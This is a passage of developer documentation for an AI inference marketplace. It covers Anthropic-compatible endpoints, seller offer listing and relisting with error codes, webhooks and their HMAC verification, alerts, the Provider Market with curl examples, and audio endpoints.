ANTHROPIC_MODEL="claude-opus-4.8" # main loop export ANTHROPIC_SMALL_FAST_MODEL="gpt-4o-mini" # background tasks ``` Endpoints (under `/anthropic`): `POST /v1/messages` (non-stream + Anthropic SSE; `+ /min{N}/v1/messages` minimum-discount mirror), `POST /v1/messages/count_tokens`, `GET /v1/models` (+ `/{id}`). Model names accept `-latest` aliases (incl. cross-family `gpt-latest`/`glm-latest`/…), dated Anthropic IDs, and the `~anthropic/…` prefix. Routing controls (`provider` pin/allow-list, `provider_base_url`, `max_price_per_1m`, `/min{N}`) work here too. Thinking settings are carried per seller: a native Anthropic seller gets `thinking` and the output settings (effort, format) as sent, except where a model needs its own off switch or a lower effort; other sellers get adaptive or enabled thinking, its effort, and disabled as their own reasoning effort or off switch (a token budget only where the seller reads one; the output format is not carried off the native wire), and a model that cannot turn thinking off gets its lowest effort. Each of these changes and drops is named in `X-SI-Adapted-Params`. The between-tools mode is not carried on this surface. **Error handling differs here, and it matters.** The skin uses the Anthropic envelope `{"type":"error","error":{"type","message"}}` with **no `code` field**, issues **no 402 challenges**, and maps a payment failure to **400 `invalid_request_error`**. A missing or invalid buyer key is `401 authentication_error`. If your agent needs to distinguish "out of credit" from "bad request" programmatically, use the `/v1/*` surface. Full guide: /docs/guides/claude-code-setup · Reference: /docs/api-reference/messages ## Selling capacity You have spare provider capacity; list it and the router sells it. SIWE auth, no browser. ``` GET /v1/seller/auth/challenge?address=0xYourWallet → SIWE message POST /v1/seller/auth/keys → si_seller_… key POST /v1/seller/offers Idempotency-Key: { "model": "claude-sonnet-4-5", "api_key": "", "seller_base_url": "https://api.anthropic.com/v1", "cost_multiplier": 0.70, // charge 70% of the reference price "cap_daily_usd": 25, // optional daily ceiling "payout_address": "0x..." // optional; defaults to your account's } ``` **Price by multiplier, not per token.** `cost_multiplier` (0–2 on create, up to 2× the reference price; for text, up to 20× once premium listings are open, which `premium_listings_available` on `GET /v1/seller/offers` says; speech, transcription and embeddings stay at 2×) or `discount` (0–100) is how a text offer is priced. Absolute per-token pricing (`price_input_per_1m` / `price_output_per_1m`) is **retired for text models** and quoting it will be refused. Note an asymmetry worth knowing: `PATCH` does not bound `cost_multiplier`, so a reprice can set a value a create would reject. Your upstream key is KMS-encrypted at rest, is **never returned by any read**, and is decrypted only by the workers that have to use it: the request proxy that serves a buyer, the scheduled health and capability probers that check your offer still works, and the media workers that verify and render an async job. It is never logged. | | | |---|---| | `GET /v1/seller/offers` | your offers with health and live rank | | `PATCH /v1/seller/offers/{id}` | reprice, cap, relist, change payout address | | `DELETE /v1/seller/offers/{id}` | **soft** delete — revoke the upstream key for immediate invalidation | | `POST /v1/seller/offers/{id}/rotate-credential` | swap the upstream key; probed before it is accepted | | `POST /v1/seller/offers/{id}/reset-health` | request a check after you have fixed the upstream: runs one real check and returns the offer only if it passes (media: queued for the prober). `429 reset_health_too_soon` inside the backoff; `409 credential_rotation_required` after a 401/402/403 until you rotate the key; `409 offer_inactive` for an unlisted offer | | `POST /v1/seller/offers/{id}/check-again` | bring back an offer Surplus retired for failing: re-checks its stored key and relists it if the check passes (one check an hour) | | `POST /v1/seller/offers/bulk` · `bulk-update` · `bulk-cancel` | many at once; async — poll `GET /v1/seller/operations/{id}` | | `GET` · `POST` · `DELETE /v1/seller/keys` | your provider credentials (create requires `Idempotency-Key`) | | `POST /v1/seller/test-connection` · `test-health` | probe an upstream before listing it | | `POST /v1/seller/discover` | enumerate what an upstream key can serve | | `GET` · `PATCH` · `DELETE /v1/seller/configs` | reusable offer templates | | `GET /v1/seller/earnings` · `earnings-history` | what you earned, by range, model, offer and provider | | `GET /v1/seller/payouts` | owed, held and paid | | `POST /v1/seller/payouts/withdraw` | claim what you are owed (`{self_submit, destination}`) | | `POST /v1/seller/payouts/submitted` | report a self-submitted payout transaction | | `GET /v1/seller/usage/export` | your usage as a file | | `GET /v1/seller/health-log` | why an offer was skipped or backed off | **Payouts** batch above a threshold (currently $5). What you are owed and what has been paid are separate figures on `GET /v1/seller/payouts` (`available_usdc`, `in_flight_usdc`, `paid_usdc`), and the paid figure advances only when a payout CONFIRMS on chain — never when you claim it. A claim moves money from available to in-flight. **One active offer per (upstream key, base URL, model).** A second one is refused with **`409 duplicate_offer_for_credential`** — the same key may serve many different models, and the same model through a different base URL, but not the same triple twice. Unhealthy offers are backed off exponentially and skipped by the router until they recover or you reset them. **Retired offers come back with `check-again`.** Surplus retires an offer that has failed more than 100 times in a row and been unhealthy for at least 7 days. The offer is delisted and does not come back on its own: it stays on `GET /v1/seller/offers`, inactive, with `delisted_reason` set to `system:chronic_failure`. A key on a monthly plan can work again when the plan refills, with the same key string. When yours does, call: ``` POST /v1/seller/offers/{id}/check-again Authorization: Bearer si_seller_… ``` - It takes no body. It re-checks the key Surplus already holds for the offer: one real generation of the offer's model at its base URL. If that passes, the offer is relisted, healthy, with its failure count and retirement clock cleared, and priced exactly as a `PATCH` re-activation would price it. - Text and decisions offers only. A media offer answers `409 check_again_media_unsupported`. - One check per offer per hour. Inside the hour the answer is `429 check_again_too_soon` with `Retry-After` (seconds) and `next_check_at`, and nothing is probed. Editing, rotating or resetting the offer does not reset the hour. No `Idempotency-Key` is needed (the header is ignored): a repeated call gets the 429, or `409 offer_not_delisted` once the offer is listed. - A key you REPLACED goes through `POST /v1/seller/offers/{id}/rotate-credential`, not here. So does an offer delisted for an invalid key, which answers `409 credential_rotation_required`. - A check never sets a new price. If the stored price no longer passes today's listing price check, for example a price above today's 2× reference cap, the answer is `409 reprice_needed`. `detail.cause` holds that check's own code (such as `price_exceeds_reference_cap`), and the detail carries its message too. Reprice with `PATCH /v1/seller/offers/{id}`, then check again. This answer spends no check. A 200 is: ``` { "offer_id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", "relisted": true, "health_reset": true, "checked_at": 1795003200000 } ``` Every refusal is the standard error envelope, and its `error.detail` carries the same fields: `relisted: false`, `health_reset: false`, `blocked_by` (the error code) and `retryable` (false on every 4xx; true only on a 503, which is our own fault). `next_check_at` (epoch ms) is when the offer may next be checked. It is in the detail once the call has taken the offer's hour, beside `checked_at`, and on the 429. A refusal without it spent nothing: fix the cause and call again straight away. A failed probe also carries the provider's HTTP status as `status_code` when it had one. Existing codes keep their meaning and carry the same `detail`: `404 offer_not_found`; `409 offer_delisted_by_operator` (a hard block: no check relists it); `409 offer_credential_missing` (no usable stored key: recreate the offer); `409 duplicate_offer_for_credential` (another active offer lists this model on this key and base URL: check again once it is paused or removed); `400 provider_retired`; `403 provider_disabled`. The codes this route adds. Every 400 below is a failed check, which has spent the hour: | status | code | what it means | what to do | |---|---|---|---| | 400 | `byok_not_allowed` | the provider served the check on your own upstream key (BYOK), which Surplus does not list | turn BYOK off for this key, then check again after `next_check_at` | | 400 | `probe_output_budget_rejected` | the host refused the check's small output budget; your key is not at fault | contact support | | 400 | `provider_privacy_policy` | the provider refused the check under the key's data or privacy settings | allow the model under those settings, then check again after `next_check_at` | | 400 | `provider_spend_limit` | the key has hit its spend limit | raise or reset the limit, then check again after `next_check_at` | | 400 | `provider_no_credit` | the key's account has no credit | add credit, then check again after `next_check_at` | | 400 | `provider_auth_failed` | the provider rejected the key | fix the key at the provider; if you replaced it, use `rotate-credential` | | 400 | `provider_rate_limited` | the provider rate-limited the check | check again after `next_check_at` | | 400 | `provider_timeout` | the provider did not answer in time | check again after `next_check_at` | | 400 | `provider_model_unavailable` | the host does not serve this model on this key | check the model is available to the key, then check again after `next_check_at` | | 400 | `provider_check_failed` | the answer was not a usable generation (a 5xx, a network error, a malformed body) | check again after `next_check_at` | | 409 | `reprice_needed` | the stored price fails today's listing price check; `detail.cause` says why | reprice with `PATCH`, then check again; nothing was spent | | 409 | `offer_not_delisted` | the offer is listed, or you paused it yourself | nothing to check; resume a paused offer with `PATCH` | | 409 | `credential_rotation_required` | delisted because the provider rejected the key as invalid | `rotate-credential` with a working key | | 409 | `check_again_not_applicable` | delisted for another reason, named in `detail.delisted_reason` | check-again cannot relist this offer | | 409 | `check_again_media_unsupported` | a media offer; check-again covers text and decisions only | if you replaced the key, rotate it with `rotate-credential` | | 409 | `offer_state_changed` | the offer changed while it was being checked, so it was not relisted | check again after `next_check_at` | | 429 | `check_again_too_soon` | this offer was already checked in the last hour; nothing was probed | wait for `Retry-After` (seconds), or until `next_check_at` | | 503 | `check_again_unavailable` | ours: the check could not be completed; `detail.retryable` is true | retry later | ### Selling API resources (not inference) Sellers list upstream provider keys on the Provider Market (see "Provider Market" below), with these offer endpoints: ``` GET /v1/resource/seller/offers your resource offers POST /v1/resource/seller/offers list one (Idempotency-Key REQUIRED) PATCH /v1/resource/seller/offers/{id} reprice (required) DELETE /v1/resource/seller/offers/{id} delist ``` The older x402 relay types `twitter_api` and `venice_rpc` were retired on 2026-11-20: a body whose `resource_type` is either is refused with `400 resource_retired` (see "Retired"). `resource_type` is the body's required field, and no value is listable today. ## Teams An account can be a personal org or a team org. A team adds workspaces, members with roles, and scoped budgets. `POST /v1/orgs` creates one and requires a `name` (`slug` is optional); `/v1/orgs/{orgId}/workspaces`, `/members`, `/invites` and `/wallets` manage it; `POST /v1/auth/active-org` switches which org a session acts as. Every org write requires an `Idempotency-Key`. Budget `scope_type` accepts `member`, `workspace` and `org`, so a team can cap a person or a project rather than a key. Members hold capabilities, and a request that exceeds them gets `403` — read `GET /v1/auth/session` for what the current principal may do. ## Webhooks **Needs a management key or a session** — `webhooks.manage`, which a buyer key does not carry, so every mutating route below answers `403 forbidden` to an `inf_…` key. Listing deliveries and reading one is `audit.read`, which a buyer key DOES have. ``` POST /v1/webhooks register (Idempotency-Key REQUIRED) GET /v1/webhooks list PATCH /v1/webhooks/{id} update DELETE /v1/webhooks/{id} remove (required) POST /v1/webhooks/{id}/test send a test event POST /v1/webhooks/{id}/deliveries/{deliveryId}/resend replay one ``` **Create takes exactly two required fields — `url` AND `event_types`:** ``` POST /v1/webhooks Idempotency-Key: { "url": "https://your.host/hooks/surplus", "event_types": ["usage.recorded", "request.failed"] } ``` The event vocabulary is a closed set of eight — anything else is `400 invalid_event_types`: ``` usage.recorded request.failed audit.event key.created key.revoked member.added member.role_changed resource.job.completed ``` `resource.job.completed` is a Provider Market job reaching its outcome (see Jobs below). It is being enabled; until it is, keep polling. A workspace can hold at most 50 webhooks; the 51st create is `400 webhook_limit_reached` (delete one first). There is **no balance, budget or payout event**, so a webhook cannot be used for funding alerts — use the notification channels below for those. **Verifying a delivery — the signed material is NOT the body alone.** The header is ``` X-Surplus-Signature: t={unixSeconds},v1={hexHmac} ``` and the HMAC-SHA256 is computed over the string **`{t}.{rawBody}`** — the timestamp, a literal dot, then the raw body bytes — keyed with the `whsec_…` secret returned **once** at registration. A verifier that MACs the body alone computes a different digest and rejects every genuine delivery. To verify: parse `t` and `v1` out of the header, recompute `HMAC_SHA256(secret, t + "." + rawBody)` over the **raw bytes as received** (never a re-serialised object — JSON encoders disagree on key order and whitespace), compare in constant time, and **reject when `|now − t| > 300` seconds**. The timestamp is inside the signed material precisely so a captured delivery cannot be replayed for ever; skipping the window check throws that property away. ```python import hmac, hashlib, time def verify(header: str, raw_body: bytes, secret: str) -> bool: parts = dict(p.split("=", 1) for p in header.split(",")) t, sig = parts.get("t", ""), parts.get("v1", "") if not t.isdigit() or abs(time.time() - int(t)) > 300: return False expected = hmac.new(secret.encode(), f"{t}.".encode() + raw_body, hashlib.sha256).hexdigest() return hmac.compare_digest(expected, sig) ``` ## Alerts for a human in the loop **The credential rule here is the INVERSE of webhooks and budgets:** notification settings accept a buyer key, a seller key or a session, and **reject a management key** (`401 unauthorized`). A management credential is not an account that receives alerts. ``` PUT /v1/notifications/settings { "channel": "email", // email | telegram; `email` field required when email "email": "ops@example.com", "rules": [ { "rule_type": "buyer.balance_low", "enabled": true, "config": { "threshold_micro": 10000000 }, "rearm_after_ms": 86400000 } ], "reminders": [] } POST /v1/notifications/test prove the channel works ``` **There are exactly four rule types.** Anything else is `400 unknown_rule_type`: | `rule_type` | fires when | |---|---| | `buyer.balance_low` | spendable credit drops below `config.threshold_micro` | | `buyer.out_of_balance` | spendable credit reaches zero | | `seller.offer_unhealthy` | an active offer has failed `config.n` times | | `seller.key_out_of_balance` | a provider rejected your upstream key (401/402/403) | `channel` is optional and defaults to `email`. The limits are enforced at the handler, each with its own code: at most **20** rules (`400 too_many_rules`); `rearm_after_ms` an integer in **900_000 … 604_800_000** (15 minutes to 7 days — `400 invalid_rearm`), which stops an alert re-firing continuously; a valid `email` is required when the channel is email (`400 invalid_email`); and at most 5 active destinations (`400 too_many_destinations`). **Telegram needs three more calls**, not just the `PUT`: `POST /v1/notifications/telegram/link` → `POST /v1/notifications/telegram/confirm` → `POST /v1/notifications/telegram/disconnect` to undo. ## Discovery - `GET /v1/models` — the live catalog. Read this rather than trusting any list in this file. - `GET /api/markets` — models with active seller liquidity, and the current best discount. - `GET /v1/prices` — reference provider prices, for comparison. - `/.well-known/x402` — x402 resource discovery manifest (**api host only**) - `/x402/info` — x402 payment info: operator, flat fee, schemes (both hosts) - `/llms.txt` — the link index of every docs page (**website only**) - `/llms-full.txt` — this file (**website only**) - `/docs/*` — the human documentation (**website only**), including `/docs/payments/x402` and `/docs/api-reference/seller-endpoints` ## Contracts (Base, chain id 8453) - Settlement proxy: `0x0770d2124C0a581C28Cfc47a659817145e6Cc137` - USDC: `0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913` - Permit2 (the x402 `upto` approval target): `0x000000000022D473030F116dDEE9F6B43aC78BA3` `/x402/info` additionally reports an `upto` witness-proxy address, which is a different contract from canonical Permit2 above. Approve canonical Permit2; read anything else from discovery. ## Retired - **The on-chain allowance funding rail** for API keys, and `POST /v1/buyer/approve-permit` with it. Fund with fiat credit or deposited USDC instead. `balance_usdc` and `allowance_usdc` on the balance response are legacy fields describing this rail. - **Absolute per-token pricing for text offers** (`price_input_per_1m` / `price_output_per_1m`). Quote `cost_multiplier` or `discount`. - **`POST /api/purchase`**, which sold Venice credit packages — returns `404` with `ROUTE_RETIRED`. Use per-request x402. (`/api/x402/purchase` answers `410 Gone` on the website host and 404 on the API host.) - The signed-in product moved from `/buy`, `/sell`, `/settings`, `/finops`, `/keys`, `/invite`, `/imagegen`, `/payments` and `/miniapp` to `/app/*`. Old URLs redirect (307, so do not cache them); `/miniapp` goes to the home page and `/imagegen` to the dashboard home, as neither has an `/app` equivalent. The **API surface did not move** — `/v1/*`, `/anthropic/*`, `/api/*` and `/x402/*` are unchanged. - **The x402 Twitter/X API and Venice crypto RPC relays**, retired on 2026-11-20. Every call to `/x402/resources/twitter/...` or `/x402/resources/venice-rpc/...`, paid or not, answers `410` with `resource_retired` before anything is quoted or charged, and creating a `twitter_api` or `venice_rpc` offer answers `400 resource_retired`. `/.well-known/x402`, `/x402/info` and `GET /v1/resource/markets` no longer list them. ## Notes and limits - Media generation is asynchronous: submit, then poll, then fetch the artifact before it expires. - Buyer and seller identities are not exposed to each other anywhere in the public API. - `expires_in_seconds` and `alert_threshold_pct` have no validated range; do not rely on one. ## Provider Market — ten live providers Call a provider on **someone else's** API key, at a discount off that provider's own list price, with your Surplus API key. Ten providers are live: media and speech generators, web tools, and the OpenRouter, Vercel AI Gateway and Venice LLM APIs. `GET /api/markets/keys` (public, no auth) lists them with the `resource_id` you put in the path. Full guide: /docs/marketplace/provider-market-calling · Per provider: /docs/marketplace/provider-market-providers · Reference: /docs/api-reference/resources Base path: `https://api.surplusintelligence.ai/v1/resources/{provider}/{the provider's own path}` This rail is **prepaid credit only** — it never falls through to the on-chain rail. No credit ⇒ `402 insufficient_credit`, and nothing is reserved. ```bash # Every provider except Fal is PATH style: the provider's own path goes straight on. curl -X POST https://api.surplusintelligence.ai/v1/resources/elevenlabs/v1/sound-generation \ -H "Authorization: Bearer $SURPLUS_API_KEY" -H 'Content-Type: application/json' \ -d '{"text":"a short soft chime","duration_seconds":1}' --output chime.mp3 curl -X POST https://api.surplusintelligence.ai/v1/resources/wavespeed/api/v3/wavespeed-ai/flux-schnell \ -H "Authorization: Bearer $SURPLUS_API_KEY" -H 'Content-Type: application/json' \ -d '{"prompt":"a tiny blue paper boat","size":"1024*1024"}' # Fal is HEADER style: the path must be EMPTY and the target rides in x-fal-target-url. # A path here is refused `unexpected_path`. This is the most common first mistake. curl -X POST https://api.surplusintelligence.ai/v1/resources/fal \ -H "Authorization: Bearer $SURPLUS_API_KEY" -H 'Content-Type: application/json' \ -H 'x-fal-target-url: https://fal.run/fal-ai/flux/schnell' \ -d '{"prompt":"a tiny red origami crane","image_size":"square"}' ``` What is reachable is decided per provider and listed at /docs/marketplace/provider-market-providers. On Fal, only `fal-ai` public models on `fal.run` / `queue.fal.run`, and LLMs (`fal-ai/any-llm`) are refused (use `/v1/chat/completions`). Account, billing and key-minting routes are never reachable, for any seller. On the LLM APIs an output cap is optional: a chat call with none gets a 4,096-token cap (or the model's context, if smaller), named in `x-si-adapted-params`. Every response carries `x-si-buyer-cost-micro` (what you paid) and `x-si-list-cost-micro` (what it would have cost direct). A successful call is charged the provider's reported usage or the quote, whichever is lower, and at least 1 µ$ when it cost anything. A call the provider answers with an error is charged **nothing**, on prepaid credit and on x402 alike (an x402 payment for it is never settled). Two cases are charged the quote, because the provider may still bill the seller: a call the provider did not answer in time (`504 resource_upstream_timeout`), and a streamed answer that ends without usable usage (it broke off, carried no usage, or you stopped reading). Jobs (Wavespeed tasks, Fal queue submits) answer with an id, not a result. **The charge settles when you fetch the result**, not at submit; polling is free. A job is bound to the one offer that took it for 27 hours, so follow the URLs the submit returns — on path-style providers we rewrite them to come back through us on your key. **Retries and `Idempotency-Key` (rule 1).** Without a key, a repeated call is a second real generation and is billed as one. Once key dedupe is enabled, sending `Idempotency-Key` on any `/v1/resources/{provider}/…` call (job submits and embeddings included; a job's polls and result are not deduped) makes one upstream call and one charge per key for 24 hours: a repeat of the same call gets the first answer back with `Idempotency-Replayed: true` and is charged nothing. That includes an error the provider answered, which was charged nothing the first time and is replayed as the same error. A job submit's answer (the job id and its URLs) is replayed the same way, but `x-surplus-webhook-secret` is sent only on the first answer, so keep it. A call refused or failed before any charge (no credit, no offer, every seller failed) releases its key, so a retry with the same key runs. A timed-out call was charged its quote, and with the same key a retry gets `409 idempotency_replay_unavailable` and no second charge; send a new key only if you accept a second charge. A replay writes no Requests-log entry. Until dedupe is enabled: retry a call that failed with an error, and retry a timed-out call only if you accept a second charge. To be told when a job finishes instead of polling, either pass your URL in the provider's own webhook parameter on the submit (WaveSpeed's `?webhook=`; the response then carries that job's signing secret, once, in `x-surplus-webhook-secret`, or `x-surplus-webhook-status: unavailable` if the job started without one), or subscribe a workspace webhook to `resource.job.completed` (that same header on the submit says the event will not come for that job: poll it). The event has the same fields for every provider: `job_id`, `request_id`, `resource`, `model` (the submit path), `status` (succeeded, failed, canceled or expired), `submitted_at`, `completed_at`, `outputs` (the output URLs, where the provider names them), `error` (null, or a Surplus code and message) and `charged_micro`. It is at least once: dedupe on `request_id`. Verify Surplus's signature, not the provider's. Fetch the full result through your usual follow-up URL, which costs nothing once the job is settled. Keep a slow poll as a fallback. Discovery, no auth: `GET /api/markets/keys` (every provider, its offers and best discount), `GET /v1/resource/capabilities`, `GET /v1/resource/traits`. With your API key: `GET /v1/resource/book/{provider}` (one provider's offers as the router sees them for you). `GET /v1/resource/markets` is not the Provider Market list: it covered only the older x402 resource relays, retired on 2026-11-20. Require properties of the serving account with `X-SI-Require: data.zdr,residency.eu` — no offer claiming all of them ⇒ `trait_unavailable`. Here `data.zdr` is a trait the seller verified on their account; on inference it means a provider labelled ZDR and an empty supply is `404 zdr_unavailable` (see "Requiring zero data retention"). A `/zdr` URL or a ZDR key adds `data.zdr` here too. Prefix with `/min{N}` to route only to offers at least N% off. To sell: `POST /v1/resource/seller/keys/probe` then `POST /v1/resource/seller/offers` (`discount_percent` 5–80, both `ack_persists_state` and `ack_provider_terms` must be true). One active offer per credential per model. Guide: /docs/marketplace/provider-market-listing ## x402 API Resource Endpoints The Provider Market above is also payable per call with x402, with no Surplus key: `https://api.surplusintelligence.ai/x402/resources/{provider}/{the provider's path}`. The first request returns an x402 402 challenge. Sign an `accepts[]` requirement and retry with `PAYMENT-SIGNATURE`. Only calls that finish in the response are served: a job submit or a job's follow-up is refused, so run jobs with an API key. A successful call settles its charge plus the flat fee (`flat_fee_micro` in `/x402/info`). A call the provider answers with an error is charged **nothing**: the payment is not settled. A call the provider did not answer in time (`504 resource_upstream_timeout`) settles its quote plus the flat fee, because the provider may still bill the seller. `Idempotency-Key` works here as on the API-key rail once enabled (rule 1), claimed per paying wallet. A repeat needs a fresh `PAYMENT-SIGNATURE`, because the first is single-use, and a replay, a 409 or a 422 never settles it. The older x402 resource relays, the Twitter/X API and Venice crypto RPC, were retired on 2026-11-20 and answer `410 resource_retired` (see "Retired"). Discovery: see `/.well-known/x402` and `/x402/info`. ================================================================================ # Full documentation # The complete agent guide, then every /docs page flattened below. The link index of these pages is at /llms.txt. ================================================================================ --- # /docs/api-reference/adapter-policy-contract.generated # Adapter policy media and Responses contract This page is generated from adapter policy `baseline-1.0.0` (catalog revision `sha256:482388632b17512c4d0776861cbe898d91535bec5b812f954f4daa5ee2a8be17`). It documents portable provider contracts; live model availability remains available from `GET /v1/models`. ## Media endpoint contracts | Operation | Provider endpoint class | Accepted image forms | Lifecycle status | Code profile | | --------------------- | ---------------------------------------- | -------------------- | ---------------- | --------------------------- | | `audio.speech` | `host:api.mordiem.com` | - | synchronous | `media:tts-v1` | | `audio.speech` | `host:api.venice.ai` | - | synchronous | `media:tts-v1` | | `audio.speech` | `host:openrouter.ai` | - | synchronous | `media:tts-v1` | | `audio.transcription` | `host:api.mordiem.com` | - | synchronous | `media:stt-v1` | | `audio.transcription` | `host:api.venice.ai` | - | synchronous | `media:stt-v1` | | `audio.transcription` | `host:openrouter.ai` | - | synchronous | `media:stt-v1` | | `embeddings` | `host:api.mordiem.com` | - | synchronous | `media:embeddings-v1` | | `embeddings` | `host:api.venice.ai` | - | synchronous | `media:embeddings-v1` | | `image.edit` | `host:api.akashml.com` | bytes, url, data-uri | synchronous | `media:image-default-v1` | | `image.edit` | `host:api.inferhub.dev` | data-uri | synchronous | `media:image-default-v1` | | `image.edit` | `host:api.mordiem.com` | url, data-uri, bytes | synchronous | `media:image-venice-v1` | | `image.edit` | `host:api.openai.com` | url, data-uri | synchronous | `media:image-default-v1` | | `image.edit` | `host:api.uncensored.com` | url | synchronous | `media:async-lifecycle-v1` | | `image.edit` | `host:api.venice.ai` | url, data-uri, bytes | synchronous | `media:image-venice-v1` | | `image.edit` | `host:openrouter.ai` | url, data-uri | synchronous | `media:image-openrouter-v1` | | `image.generate` | `host:api.akashml.com` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:api.inferhub.dev` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:api.mordiem.com` | - | synchronous | `media:image-venice-v1` | | `image.generate` | `host:api.openai.com` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:api.together.xyz` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:api.venice.ai` | - | synchronous | `media:image-venice-v1` | | `image.generate` | `host:generativelanguage.googleapis.com` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:llm.bankr.bot` | - | synchronous | `media:image-default-v1` | | `image.generate` | `host:openrouter.ai` | - | synchronous | `media:image-openrouter-v1` | | `music.generate` | `host:api.mordiem.com` | - | mapped | `media:venice-music-v1` | | `music.generate` | `host:api.venice.ai` | - | mapped | `media:venice-music-v1` | | `video.generate` | `host:api.inferhub.dev` | - | mapped | `media:inferhub-video-v1` | | `video.generate` | `host:api.maxlatent.xyz` | url | mapped | `media:maxlatent-video-v1` | | `video.generate` | `host:api.mordiem.com` | url, data-uri | mapped | `media:venice-video-v1` | | `video.generate` | `host:api.uncensored.com` | url | mapped | `media:uncensored-video-v1` | | `video.generate` | `host:api.venice.ai` | url, data-uri | mapped | `media:venice-video-v1` | | `video.generate` | `host:openrouter.ai` | url | mapped | `media:openrouter-video-v1` | Model-specific duration, aspect-ratio, resolution, and audio constraints are validated before funds are reserved. Async jobs pin the provider-native model, endpoint contract, status map, and profile implementation at submission, so a later policy deployment cannot reinterpret an in-flight render. Unknown provider states remain pending unless the reviewed endpoint policy explicitly marks unknown states failed. ## Responses compatibility `POST /v1/responses` is the buyer-facing contract. The generated policy selects native Responses, Responses-to-Chat, or provider-specific versioned profiles only from an offer's observed wire capabilities; configuration cannot invent wire support. A wire rule may also exclude a provider/model route when a non-empty top-level request parameter is known to be unsupported; this same eligibility set is used for funding, selection, retry, and fallback. Streaming preserves pre-content failover and prohibits post-content replay. Full hosted OpenAI tools and server-side `previous_response_id` state are not provided. --- # /docs/api-reference/audio # Audio > **Minimum-discount routing:** Prefix either path with a `min{N}` segment (e.g. `/min30/v1/audio/speech` or `/min30/v1/audio/transcriptions`) to require marketplace seller offers to meet a minimum estimated buyer discount before routing. Buyer-owned providers are not covered. See [Minimum-Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing). OpenAI-compatible text-to-speech (`POST /v1/audio/speech`) and speech-to-text transcriptions (`POST /v1/audio/transcriptions`) routed through the marketplace. See [Media Capabilities and Contracts](https://www.surplusintelligence.ai/docs/api-reference/media-capabilities.generated) for canonical input ceilings, host capability coverage, response headers, and the full error taxonomy. ## Text-to-Speech POST /v1/audio/speech **Auth:** API key (`Authorization: Bearer inf_***`), or pay-per-request via x402 (`PAYMENT-SIGNATURE`). With no auth, the endpoint returns `402` advertising x402. See [Buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints). - `model` (string, required): TTS model ID, e.g. `venice-kokoro-tts`, `venice-tts-1`, `venice-elevenlabs-tts-turbo-v2-5`, `tts-xai-v1`. Query `GET /v1/models?type=tts` for the live catalog - `input` (string, required): Text to synthesize (default ceiling: 4,096 characters) - `voice` (string): Model-native voice ID or one of the 9 canonical OpenAI voices (`alloy`, `nova`, `echo`, `fable`, `onyx`, `shimmer`, `ash`, `coral`, `sage`), automatically mapped to the selected model's voice set - `response_format` (string): Output audio format: `mp3`, `opus`, `aac`, `flac`, `wav`, or `pcm`. When a seller host does not natively emit the requested format, the marketplace transcodes pre-settlement where enabled or returns `400 unsupported_response_format` - `speed` (number): Playback speed (`0.25` to `4.0`) - `provider` (string | string\[]): Optional provider pin (see [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls)) - `providers_blocked` (string | string\[]): Providers excluded from routing **Response:** raw binary audio bytes with the matching `Content-Type` (for example `audio/mpeg` for `mp3` or `audio/wav` for `wav`), plus unconditional `X-Request-Id` and `X-SI-Model-Alias` (when an alias resolves), sync-only `X-SI-Adapted-Params` (when params are adapted or stripped), and mutually exclusive rollout-gated headers `X-SI-Resolved-Params` (`MEDIA_STANDARDIZATION_MODE=enforce` only) or `X-SI-Deprecation` (`MEDIA_STANDARDIZATION_MODE=shadow` only for unknown/unhonored params). **Pricing:** character-metered (`$/1K` characters × winning seller discount), settled in USDC microdollars before bytes are streamed back. **POST /v1/audio/speech** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/audio/speech \ -H "Authorization: Bearer inf_***" \ -H "Content-Type: application/json" \ -d '{ "model": "venice-kokoro-tts", "input": "Hello from Surplus Intelligence.", "voice": "nova", "response_format": "mp3" }' \ --output speech.mp3 ``` **OpenAI SDK** ```ts import OpenAI from 'openai'; const client = new OpenAI({ baseURL: 'https://api.surplusintelligence.ai/v1', apiKey: process.env.SURPLUS_API_KEY, }); const response = await client.audio.speech.create({ model: 'venice-kokoro-tts', voice: 'nova', input: 'Hello from Surplus Intelligence.', response_format: 'mp3', }); const audioBuffer = Buffer.from(await response.arrayBuffer()); ``` ## Speech-to-Text (Transcriptions) POST /v1/audio/transcriptions **Auth:** API key (`Authorization: Bearer inf_***`) or session cookie. Multipart `multipart/form-data` request. - `file` (file, required): Audio file upload (max 25 MB). Allowed formats: `wav`, `mp3`, `mp4`, `m4a`, `mpeg`, `mpga`, `ogg`, `webm`, `flac` - `model` (string, required): STT model ID, e.g. `venice-whisper-large-v3`, `venice-whisper-1`, `venice-parakeet-asr`, `elevenlabs-scribe-v2`. Query `GET /v1/models?type=stt` for the live catalog - `language` (string): Optional ISO-639-1 language hint (e.g. `en`) - `prompt` (string): Optional conditioning prompt (default ceiling: 2,000 characters) - `response_format` (string): `json` (default), `text`, `srt`, `vtt`, or `verbose_json` - `temperature` (number): Sampling temperature (`0` to `1`) **Pricing:** duration-metered (`$/minute` × winning seller discount), derived from the uploaded audio clip duration and settled in USDC microdollars. **POST /v1/audio/transcriptions** **cURL** ```bash curl https://api.surplusintelligence.ai/v1/audio/transcriptions \ -H "Authorization: Bearer inf_***" \ -F file="@meeting.mp3" \ -F model="venice-whisper-large-v3" \ -F response_format="json" ``` **Response** ```json { "text": "Hello from Surplus Intelligence." } ``` ## Errors | Status | Code | When | | ------ | ------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | | `400` | `invalid_request` | Malformed parameters or `input`/`prompt` exceeding the character ceiling | | `400` | `invalid_request_error` | Missing `file`, unsupported audio MIME/extension, or upload exceeding 25 MB on `/v1/audio/transcriptions` | | `400` | `file_too_large` | Multipart upload exceeds the hard file-size limit | | `400` | `unsupported_parameter` | Unknown parameter key sent for the audio modality | | `400` | `unsupported_voice` | Requested TTS `voice` is neither natively supported nor mappable from a canonical OpenAI voice | | `400` | `unsupported_response_format` | Requested audio or transcript `response_format` is unsupported or transcoding failed pre-settlement | | `402` | `insufficient_credit` / `insufficient_balance` / `insufficient_allowance` | Account balance cannot cover the request | | `404` | `model_not_found` | Model ID is not in the media catalog | | `404` | `no_sellers_for_model` | No listed seller 